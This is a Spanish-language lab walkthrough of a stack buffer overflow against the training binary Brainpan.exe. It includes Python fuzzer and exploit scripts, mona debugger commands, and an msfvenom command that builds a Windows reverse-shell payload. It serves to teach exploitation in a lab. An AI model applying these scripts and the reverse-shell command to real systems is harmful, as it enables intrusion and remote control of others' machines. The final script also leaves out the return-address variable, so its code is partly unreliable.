Buffer Overflow

Lo necesario para realizar el laboratorio:

  • Mona = > Descargar

    Es un script que permite facilitar la creación de exploits contra software vulnerables.

  • Immunity Debugger = > Descargar

    Permite a los pentester realizar análisis de programas para descubrir vulnerabilidades y facilita el desarrollo de exploits.  

  • Brainpan.exe = > Descargar

    Programa vulnerable a OverFlow

  • Windows 10 = >

    Maquina loca que permite hacer uso de la herramienta Immunity Debugger

  • Maquina local = >

    Para general la conexión (Shellcode), exploit, etc (En mi caso Parrot).

Conceptos importantes:

  • EIP⇒

    El puntero de instrucción extendida (EIP) en palabras simple EIP señala dónde debe ir para ejecutar el siguiente comando y controla el flujo de un programa.

  • ESP⇒

    El puntero de pila extendida (ESP) es un registro que le permite saber en qué parte de la pila se encuentra y le permite enviar datos dentro y fuera de la aplicación.

  • NOP⇒

    Si el flujo de ejecución de un programa encuentra una serie de instrucciones NOP, se "deslizará" linealmente hasta el final de ellas hasta la siguiente instrucción. Un NOP, en la arquitectura Intel x86, tiene un código de operación de 90, comúnmente visto en el código de explotación como \x90.

  • EBP⇒

    Puntero base (EBP). Contiene las variables de los parámetros pasados a una subrutina, y se utiliza también para pasar argumentos a estructuras de datos.

  • \x41, \x42, \x43⇒

    Los valores hexadecimales equivalente A, B y C. Para este ejercicio, no hay ningún beneficio en usar hex vs ascii.

Buffer

Un buffer es un área dentro de la memoria, donde se almacenan datos de forma temporal. Generalmente, estos se encuentran en la memoria RAM. Los buffer están diseñados para almacenar cantidades específicas de datos. A menos que, el programa que utiliza el buffer tenga instrucciones integradas para descartar datos cuando se envían demasiados al programa sobrescribirá los datos en la memoria adyacente al buffer.

Buffer Overflow

Cuando hablamos de un Buffer Overflow, ocurre cuando el programa que escribe datos en el buffer, sobrepasa la capacidad de este, llenando con más datos de los que el buffer puede manejar.

PROCESO DE OVERFLOW

  1. Configuración previa.
  2. Verificar donde el programa se bloquea con fuzzer.py
  3. Generando el exploit para EIP con exploit_1.py.
  4. Búsqueda de byte inválidos con exploit_2.py.
  5. Seleccionar el módulo.
  6. Creación de shellcode y acceso con exploit_3.py.

Configuración previa

Una vez instalado Immunity Debugger (le solicitara instalar python) y descargado mona.py en la maquina local de Windows 10 se debe guardar mona.py dentro de la carpeta PyCommands del programa Immunity Debugger para poder ser utilizado posteriormente.



👉NOTA: Observa que se guarde como un script en Python y no con extensión txt. 

Posteriormente se debe ejecutar Imminity Debugger dentro de la maquina Windows para crear una carpeta con el nombre de mona en la ubicación c:\\, debemos ejecutar el siguiente comando en la parte inferior izquierda en el cuadro de input para ingresar comandos dentro del programa Imminity:



!mona config -set workingfolder c:\\mona


luego se debe abrir el programa vulnerable (Brainpan.exe) dentro de Imminity Debugger; para realizar lo anteriormente señalado debe abrir Imminity dirigirse a la parte superior izquierda (file) dar clip para que se despliegue el menú y pueda seleccionar y abrir el programa vulnerable.


Finalmente iniciamos el programa vulnerable (brainpan.exe) dando play en el icono y debe verificar que en la parte inferior derecha indique "Running".

👉NOTA: La configuración previa se realiza cuando es por primera vez que hace la instalación de Imminity y de mona. Por lo cual este paso se realiza una sola vez.

Verifique el puerto que está utilizando el servicio en el caso que lo desconozca.


Verificar donde se bloquea el programa con fuzzer.py 

Una vez que realice todo el proceso anteriormente indicado y tenga ejecutando el programa vulnerable en Imminity. 
Debemos saber el momento en que la aplicación se bloquea, podemos obtener dicha información con el siguiente fuzzer en Python, siendo un script que envía datos de forma incremental para reconocer un valor aproximado de cuando el servicio deja de funcionar:

#!/usr/bin/python3
#fuzzer.py
import socket

# Conexion al objetivo 
rhost = "target"
rport = 9999

# Datos a enviar:
payload = b"A" * 100

print("Verificar caida de overflow")
try:
    while True:
        print("bytes ==> " + str(len(payload)))
        # Creacion del socket object TCP
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Conexion al servicio
        s.connect((rhost, rport))
        # Envio del payload
        s.send(payload + b"\n")
        # Recepcion de los datos enviados por el server
        data = s.recv(1024)
        payload += b"A" * 100
except Exception as err:
    print("Error: " + str(err))

Ejecutamos nuestro script fuzzer.py

👉NOTA: Al momento de ejecutar el script fuzzer.py el programa vulnerable se pausa, ya que el servicio deja de funcionar.


Resultado: 700

Este valor es muy importante (700) por que define donde podemos entrar en el programa y manipular la memoria.

Ahora que sabemos la falla, debemos replicar está (700) dando un margen de 400 bytes desde nuestra maquina local. Se puede ejecutar de las siguientes manera:

Método 1:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Método 2:
pattern_create.rb -l 1000
Una vez obtenido el valor, lo agregamos a nuestro exploit_1.py 

Generando el exploit para EIP con exploit_1.py

Ahora en nuestro script debemos agregar el valor entregado de pattern_create e ingresarlo en la variable offset.
 #!/usr/bin/python3
import socket

rhost = "target"
rport = 9999

offset = b""

# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexion al servicio
print("Realizando Overflow")
s.connect((rhost, rport))
# Enviamos nuestro payload
s.send(offset + b"\n")
print("Operacion exitosa")
# Recibimos los datos de la comunicacion
data = s.recv(1024)
print(data)
👉NOTA: En Python3 es necesario enviar los datos como bytes, por eso se agrega la b antes de los strings.
👉NOTA: Antes de ejecutar el exploit, recuerda que se encuentra en pausa nuestro programa vulnerable, por lo cual debe nuevamente cargar y ejecutar en Immunity Debugger.
Volvemos al programa Imminity Debugger y notaras que se volvió a pausar el programa vulnerable, se puede apreciar el valor de EIP: 35724134 que marca la posición donde cae el programa.
Buscamos el valor donde cae el programa con mona, donde se puede realizar de tres manera: 

 Método 1:
!mona pattern_offset 35724134
Método 2:
!mona findmsp -distance 1000
Método 3:
msf-pattern_offset -l 1000 -q 35724134
Resultado offset: 524 

Búsqueda de bytes inválidos con exploit_2.py

Este paso se realiza porque los caracteres que no se representan bien en memoria son badchars (caracteres inválidos), y estos pueden romper el código de la shell a posterior. Ahora se debe generar un bytearray utilizando mona para excluir el byte nulo (\x00) de forma predeterminada
!mona bytearray -b "\x00"
Se puede dirigir a la carpeta creada anteriormente y obtener los bytearray de manera mas clara y fácil de copiar.
Con los nuevos antecedentes se debe modificar el exploit cambiando el valor de la variable offset y agregamos la variable buffer, eip y bytearray para ingresar los nuevos antecedentes para ejecutar el exploit con éxito.  
Ya con esto sabemos que si enviamos 524 caracteres, más otros 4, podemos sobrescribir el EIP, los 524 caracteres llenan el búfer de destino y los 4 bytes adicionales sobrescriben la dirección de retorno almacenada en la pila, lo que hace que el programa ejecute una dirección arbitraria de memoria que puede ser controlada.

👉NOTA: Para entender por qué el envío de 524 caracteres más otros 4 puede sobrescribir el EIP, es necesario tener en cuenta cómo funciona la memoria y cómo se organizan los datos en un programa.
   
#!/usr/bin/python3
#exploit_2.py
import socket

rhost = "target"
rport = 1234

offset = 0
buffer = b"A" * offset
iep = b""
bytearray = b"" 

exploit =  buffer + iep + bytearray 

# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: 
# Conexion al servicio
 s.connect((rhost, rport))
 print("Realizando Overflow...")
# Enviamos nuestro payload
 s.send(exploit + b"\n")
 print("Operacion exitosa")
except: 
	print("No hay conexion con el objetivo")
Finalmente ejecutamos el exploit.

Se puede apreciar en el registro el valor de ESP (005FF910), mediante el comando mona podemos visualizar los caracteres inválidos, que son necesarios para continuar con el exploit.

!mona compare -f c:\mona\bytearray.bin -a ESP
Se puede verificar que los caracteres que faltan es solo 00, por lo tanto, los badchars malo de este servicio es \x00. 

👉NOTA: En esta oportunidad solo mantenemos el 00, pero en otras ocasiones aparecen mas dígitos que se deben considerar en su totalidad, esto varia según en programa vulnerable que estés realizado

Seleccionar el módulo

Para poder generar nuestra shellcode debemos encontrar algún módulo que permita introducir la shell, para eso se ejecuta el siguiente comando con mona:
!mona jmp -r esp
Cuando encontremos las direcciones, debemos validar que no tengan las protecciones habilitadas, en especial ASLR. En este caso se puede utilizar la dirección, ya que se mantiene con su valor en false. 
Resultado del módulo: 0x311712f3.
resultado = "0x311712f3" 
modulo = "\xf3\x12\x17\x31\"
👉NOTA: Recuerda cambiar el orden. 

Creación de shellcode y acceso con exploit_3.py. 

Una vez que obtenemos todo lo necesarios, se puede crear la shell que permite establecer la conexión.
msfvenom -p windows/shell_reverse_tcp LHOST=tu_ip LPORT=1313 
EXITFUNC=thread -b '\x00' -f python -v shell
👉NOTA: se utiliza la opción EXITFUNC=thread con la finalidad de que cuando cerremos la conexión de la shell, solo se cierre el proceso de esta conexión y no el programa explotado.
En este caso se utiliza la técnica de rociado de montón consiste en llenar con una gran cantidad de patrón repetitivo conocido de diapositivas NOP y su shellcode hasta que llene todo el espacio de memoria con este valor conocido. Puede hacer esto configurando la variable de relleno en una cadena de 16 o más bytes "Sin operación" (\x90) para evitar errores.
nop = b"\x90" * 16
   
#!/usr/bin/python3
#exploit_3.py
import socket

rhost = "target"
rport = 9999

offset = 0
buffer = b"A" * offset
nop = b"\x90" * 16
bytearray = b"" 
shell = b""  

exploit = buffer + bytearray + nop + shell 

# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: 
# Conexion al servicio
 s.connect((rhost, rport))
 print("Realizando Overflow...")
# Enviamos nuestro payload
 s.send(exploit + b"\n")
 print("Operacion exitosa")
except: 
	print("No hay conexion con el objetivo")
En nuestra maquina local dejamos el puerto a la escucha que definimos en la creación de la shell.
👉NOTA: Recuerda reiniciar el programa ejecutable antes de lanzar el exploit con la shell inversa. Ejecutamos el exploit_3.py
Y establecemos conexión.👏💞
💀Buen hacking!! 
 atte. LXBX.